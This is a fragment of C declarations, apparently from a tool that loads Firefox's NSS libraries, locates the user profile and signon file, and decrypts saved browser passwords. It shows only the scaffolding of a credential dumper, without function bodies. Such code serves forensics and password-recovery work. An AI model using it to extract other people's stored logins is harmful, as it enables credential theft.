const int buflen = 10240;
static char readbuf[buflen+1];
static int last = 0;
static int next = 0;
 
typedef struct PK11SlotInfoStr PK11SlotInfo;
 
// NSS Library functions
typedef SECStatus      (*NSS_Init) (const char *configdir);
typedef SECStatus      (*NSS_Shutdown) (void);
typedef PK11SlotInfo * (*PK11_GetInternalKeySlot) (void);
typedef void           (*PK11_FreeSlot) (PK11SlotInfo *slot);
typedef SECStatus      (*PK11_CheckUserPassword) (PK11SlotInfo *slot,char *pw);
typedef SECStatus      (*PK11_Authenticate) (PK11SlotInfo *slot, PRBool loadCerts, void *wincx);
typedef SECStatus      (*PK11SDR_Decrypt) (SECItem *data, SECItem *result, void *cx);
 
// PLC Library functions
typedef char *         (*PL_Base64Decode)( const char *src, PRUint32 srclen, char *dest);
 
// Function declarations..
void NSSUnload();
int InitFFLibs(char *firefoxPath);
int InitializeNSSLibrary(char *profilePath, char *password);
int CheckMasterPassword(char *password);
int DirectoryExists( char *path );
void StrLwr(char *str);
int OpenFile(char *filePath);
void CloseFile();
int ReadLine(char *buffer, int size);
char *GetFFProfilePath();
char *GetFFLibPath();
char *GetFFVersion();
char **Explode(char *StrIn,const char *Delimiter);
char *Split(char *String,char Delimeter[],int Part);
char *replace(char *str, const char *substr, const char *repstr);
 
char ReadChar();
char Vers[_MAX_PATH] = "";
int version = 1;
 
int PK11Decrypt(char *decodeData, int decodeLen, char **clearData, int *finalLen);
int Base64Decode(char *cryptData, char **decodeData, int *decodeLen);
//-----------------------------------------------------------------------
NSS_Init                NSSInit = NULL;
NSS_Shutdown            NSSShutdown = NULL;
PK11_GetInternalKeySlot PK11GetInternalKeySlot = NULL;
PK11_CheckUserPassword  PK11CheckUserPassword = NULL;
PK11_FreeSlot           PK11FreeSlot = NULL;
PK11_Authenticate       PK11Authenticate = NULL;
PK11SDR_Decrypt         PK11SDRDecrypt = NULL;
PL_Base64Decode         PLBase64Decode = NULL;
 
int IsNSSInitialized = 0;
 
HMODULE libnss = NULL;
HMODULE libplc = NULL;
HMODULE libtmp = NULL;
 
FILE *signonFile = NULL;